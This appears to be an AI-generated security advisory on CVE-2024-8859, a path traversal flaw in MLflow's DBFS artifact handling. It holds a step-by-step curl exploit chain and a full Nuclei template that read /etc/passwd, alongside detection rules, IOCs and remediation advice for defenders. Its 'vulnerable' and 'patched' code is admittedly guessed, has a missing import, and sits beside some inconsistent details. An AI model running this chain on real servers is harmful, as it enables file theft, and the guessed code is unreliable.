CVE-2024-8859

Executive Summary

CVE-2024-8859 is a critical path traversal vulnerability in the MLflow machine learning lifecycle platform, affecting versions prior to 2.17.0. The vulnerability resides in the DBFS (Databricks File System) service integration. When a user configures and mounts the DBFS service to a local directory, an attacker can exploit insufficient URL validation to perform arbitrary file reads. The core issue is that only the path component of a URL is sanitized, while query parameters and other URL parts are not, allowing traversal sequences like ../ to be injected via the query string. This can lead to the exposure of sensitive files such as /etc/passwd, SSH keys, or application secrets. The vulnerability has a CVSS score of 7.5 (High) and a public proof-of-concept (PoC) exists in the form of a Nuclei template. No patch was available at the time of initial disclosure, but the official fix is now included in MLflow 2.17.0.

Supply Chain & Package Security

MLflow is a widely used open-source MLOps platform distributed via PyPI (mlflow). Organizations using MLflow in their ML pipelines should treat this as a high-priority supply chain risk. The vulnerable component is the core server, meaning any deployment exposing the MLflow Tracking UI or API is at risk. Users should immediately audit their MLflow versions and upgrade to 2.17.0 or later. The package integrity can be verified via checksums provided on PyPI.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required; the attack can be performed with standard HTTP requests.
• Privileges Required (PR): None (N) - No authentication is needed to trigger the vulnerability.
• User Interaction (UI): None (N) - The victim does not need to perform any action.
• Scope (S): Unchanged (U) - The vulnerable component and the affected resource are in the same security authority.
• Confidentiality (C): High (H) - An attacker can read arbitrary files on the server.
• Integrity (I): None (N) - The vulnerability does not allow modification of data.
• Availability (A): None (N) - The vulnerability does not affect system availability.

Threat Level: High. The combination of network exploitability, no authentication, and high confidentiality impact makes this a serious threat. The public availability of a Nuclei template further lowers the barrier to exploitation.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (CWE-22) in the DBFS artifact storage handler. MLflow allows users to configure an artifact location using the dbfs:/ URI scheme. When the DBFS service is mounted to a local directory, the server constructs file paths by concatenating the base mount path with the user-supplied URL path.

The flaw is in the URL parsing logic. The code only validates the path component of the URL (e.g., /artifacts/a) but does not sanitize the query string (e.g., ?/../../../etc/passwd). An attacker can craft a request where the traversal sequence is placed in the query parameters, bypassing the path validation. The server then concatenates the entire URL (including the query) into the file system path, resulting in arbitrary file read.

The attack flow, as demonstrated by the Nuclei template, involves:

1. Creating an experiment with an artifact location pointing to dbfs:/.
2. Creating a run within that experiment.
3. Uploading a dummy artifact with a crafted path containing a query string with traversal sequences.
4. Creating a registered model and a model version that references the malicious artifact path.
5. Requesting the artifact download, which triggers the file read.

The critical step is step 3, where the path a?/a is used. The ? character is interpreted as the start of a query string, and the /a part is ignored by the path validator. Later, when the model version is created with a source like dbfs:/<run_id>/artifacts/a%3f/../../../../../../../../../../../../, the URL-encoded %3f (which decodes to ?) allows the traversal to escape the artifact directory.

Vulnerable vs. Patched Code

Vulnerable Code (pre-2.17.0): The vulnerable logic likely resides in the artifact download handler. A simplified representation:

# Vulnerable: Only checks the path part of the URL
def get_artifact_path(request):
    base_path = "/mnt/dbfs"
    url_path = request.path  # e.g., /model-versions/get-artifact?name=...&path=...
    # Only validates url_path, not the full URL
    if not is_safe_path(url_path):
        raise Exception("Invalid path")
    full_path = os.path.join(base_path, url_path)
    return full_path

Patched Code (2.17.0+): The fix involves proper URL parsing and sanitization of the entire URL, including query parameters. The patched version likely uses a function that extracts and validates only the intended path component, stripping query strings and URL-encoded characters before path traversal checks.

# Patched: Parses the full URL and validates only the intended path
from urllib.parse import urlparse, unquote

def get_artifact_path(request):
    base_path = "/mnt/dbfs"
    parsed = urlparse(request.url)
    # Extract the 'path' query parameter and decode it
    query_params = parse_qs(parsed.query)
    artifact_path = unquote(query_params.get('path', [''])[0])
    # Validate the extracted path
    if not is_safe_path(artifact_path):
        raise Exception("Invalid path")
    full_path = os.path.join(base_path, artifact_path)
    return full_path

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A target MLflow server (version < 2.17.0) with the DBFS service configured and mounted.
• Network access to the MLflow API endpoints.

Exploitation Steps:

1. Setup: Use the Nuclei template provided in the Detection Engineering section. The template automates the entire exploitation chain.
2. Manual Exploitation (using curl):
   • Create an experiment with a DBFS artifact location:

     curl -X POST http://target:5000/ajax-api/2.0/mlflow/experiments/create \
       -H "Content-Type: application/json" \
       -d '{"name": "exploit_exp", "artifact_location": "dbfs:/"}'
     

   • Create a run and capture the run_id:

     curl -X POST http://target:5000/api/2.0/mlflow/runs/create \
       -H "Content-Type: application/json" \
       -d '{"experiment_id": "<EXPERIMENT_ID>"}'
     

   • Upload a dummy artifact with a crafted path:

     curl -X POST "http://target:5000/ajax-api/2.0/mlflow/upload-artifact?run_uuid=<RUN_ID>&path=a?/a" \
       -d "whatever"
     

   • Create a registered model:

     curl -X POST http://target:5000/ajax-api/2.0/mlflow/registered-models/create \
       -H "Content-Type: application/json" \
       -d '{"name": "exploit_model"}'
     

   • Create a model version with a malicious source path:

     curl -X POST http://target:5000/ajax-api/2.0/mlflow/model-versions/create \
       -H "Content-Type: application/json" \
       -d '{"name": "exploit_model", "source": "dbfs:/<RUN_ID>/artifacts/a%3f/../../../../../../../../../../../../"}'
     

   • Retrieve the target file (e.g., /etc/passwd):

     curl "http://target:5000/model-versions/get-artifact?name=exploit_model&version=1&path=etc/passwd"
     

Expected Output: The response body will contain the contents of /etc/passwd (or any other readable file).

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual sequences of API calls that match the exploitation pattern (experiment creation → run creation → artifact upload with ? in path → model creation → model version creation → artifact download).
• Look for HTTP requests containing %3f (URL-encoded ?) in the source parameter of model version creation requests.
• Alert on requests to /model-versions/get-artifact where the path parameter contains traversal sequences like ../.

Hunting:

• Search web server logs for requests to /ajax-api/2.0/mlflow/upload-artifact with a path parameter containing ?.
• Correlate model version creation events with subsequent artifact download requests that have suspicious paths.

Prevention:

• Immediately upgrade MLflow to version 2.17.0 or later.
• If upgrading is not possible, disable the DBFS service or restrict access to the MLflow API using network segmentation or authentication proxies.
• Implement a Web Application Firewall (WAF) rule to block requests containing %3f or ../ in the source or path parameters of MLflow API endpoints.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /ajax-api/2.0/mlflow/upload-artifact with a path parameter containing ? (e.g., path=a?/a).
  • HTTP POST requests to /ajax-api/2.0/mlflow/model-versions/create with a source parameter containing %3f and ../ sequences.
  • HTTP GET requests to /model-versions/get-artifact with a path parameter containing ../ (e.g., path=etc/passwd).
• File System IOCs:
  • Unexpected files in the DBFS mount directory that are not part of normal MLflow operations.
  • Access to sensitive system files (e.g., /etc/passwd, /etc/shadow, SSH private keys) from the MLflow process.
• Log IOCs:
  • MLflow server logs showing errors related to file path resolution or access denied for paths outside the expected artifact directory.

Detection Engineering

YARA Rule

rule CVE_2024_8859_MLflow_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting CVE-2024-8859 in MLflow"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-8859"
        severity = "critical"
    strings:
        $s1 = "/ajax-api/2.0/mlflow/upload-artifact" ascii wide nocase
        $s2 = "/ajax-api/2.0/mlflow/model-versions/create" ascii wide nocase
        $s3 = "/model-versions/get-artifact" ascii wide nocase
        $s4 = "dbfs:/" ascii wide nocase
        $s5 = "%3f" ascii wide nocase
        $s6 = "../" ascii wide nocase
    condition:
        any of ($s1, $s2, $s3) and any of ($s4, $s5, $s6)
}

Sigma Rule

title: MLflow Path Traversal Exploitation (CVE-2024-8859)
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-8859 in MLflow by monitoring for suspicious API call sequences.
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8859
    - https://huntr.com/bounties/2259b88b-a0c6-4c7c-b434-6aacf6056dcb
logsource:
    category: webserver
    product: mlflow
detection:
    selection_upload:
        cs-method: 'POST'
        cs-uri-stem: '/ajax-api/2.0/mlflow/upload-artifact'
        cs-uri-query|contains: 'path=a?/a'
    selection_model_create:
        cs-method: 'POST'
        cs-uri-stem: '/ajax-api/2.0/mlflow/model-versions/create'
        cs-uri-query|contains: 'source=dbfs:/'
        cs-uri-query|contains: '%3f'
        cs-uri-query|contains: '../'
    selection_artifact_get:
        cs-method: 'GET'
        cs-uri-stem: '/model-versions/get-artifact'
        cs-uri-query|contains: 'path='
        cs-uri-query|contains: '../'
    condition: selection_upload or selection_model_create or selection_artifact_get
falsepositives:
    - Legitimate use of DBFS with unusual artifact names (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8859 MLflow Path Traversal Attempt"; flow:to_server; content:"POST"; http_method; content:"/ajax-api/2.0/mlflow/upload-artifact"; http_uri; content:"path=a?/a"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-8859 MLflow Model Version Creation with Traversal"; flow:to_server; content:"POST"; http_method; content:"/ajax-api/2.0/mlflow/model-versions/create"; http_uri; content:"source=dbfs:/"; http_uri; content:"%3f"; http_uri; content:"../"; http_uri; classtype:attempted-admin; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2024-8859 MLflow Artifact Download with Traversal"; flow:to_server; content:"GET"; http_method; content:"/model-versions/get-artifact"; http_uri; content:"path="; http_uri; content:"../"; http_uri; classtype:attempted-admin; sid:1000003; rev:1;)

Nuclei Template (Full Content)

id: CVE-2024-8859

info:
  name: Mlflow < 2.17.0 - Local File Inclusion
  author: gy741
  severity: critical
  description: |
    Mlflow before 2.17.0 is susceptible to local file inclusion due to path traversal in GitHub repository mlflow/mlflow. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation could allow an attacker to read sensitive files on the server.
  remediation: |
    Upgrade Mlflow to version 2.17.0 or later to mitigate the vulnerability.
  reference:
    - https://huntr.com/bounties/2259b88b-a0c6-4c7c-b434-6aacf6056dcb
    - https://github.com/mlflow/mlflow/pull/13161
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8859
  classification:
    epss-score: 0.25693
    epss-percentile: 0.96263
  metadata:
    max-request: 7
    vendor: lfprojects
    product: mlflow
    shodan-query: http.title:"mlflow"
    fofa-query:
      - title="mlflow"
      - app="mlflow"
  tags: cve2024,cve,mlflow,oss,lfi,huntr,intrusive,lfprojects,vuln

http:
  - raw:
      - |
        POST /ajax-api/2.0/mlflow/experiments/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{randstr}}", "artifact_location": "dbfs:/"}

      - |
        POST /api/2.0/mlflow/runs/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"experiment_id": "{{EXPERIMENT_ID}}"}

      - |
        POST /ajax-api/2.0/mlflow/upload-artifact?run_uuid={{RUN_ID}}&path=a?/a HTTP/1.1
        Host: {{Hostname}}

        whatever

      - |
        POST /ajax-api/2.0/mlflow/experiments/delete HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"experiment_id": "{{EXPERIMENT_ID}}"}

      - |
        POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{randstr}}"}

      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{randstr}}", "source": "dbfs:/{{RUN_ID}}/artifacts/a%3f/../../../../../../../../../../../../"}

      - |
        GET /model-versions/get-artifact?name={{randstr}}&version=1&path=etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

    extractors:
      - type: json
        part: body_1
        name: EXPERIMENT_ID
        group: 1
        json:
          - '.experiment_id'
        internal: true

      - type: json
        part: body_2
        name: RUN_ID
        group: 1
        json:
          - '.run.info.run_id'
        internal: true
# digest: 490a0046304402206017be6d84ec27481c4e0cf09d88a26468448352b919c3a4427968cef741b78a02203d58387af205deebc7c47ab0a87b6f7c697c256f6c7dcb5f49a56b228b6fb7bd:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade MLflow: Update to version 2.17.0 or later. This is the only complete fix.
2. Disable DBFS: If upgrading is not immediately possible, disable the DBFS service by removing the mount or configuring MLflow to not use dbfs:/ artifact locations.
3. Network Segmentation: Restrict access to the MLflow API (ports 5000 or 80/443) to trusted IP addresses only. Use a reverse proxy with authentication.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block path traversal patterns in API requests.
• Regularly audit MLflow versions and apply security patches promptly.
• Monitor MLflow logs for suspicious activity, especially the API call patterns described in this report.
• Conduct a security review of any custom artifact storage integrations.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 9CBB26EFF33CFA5C4EAC6302] */}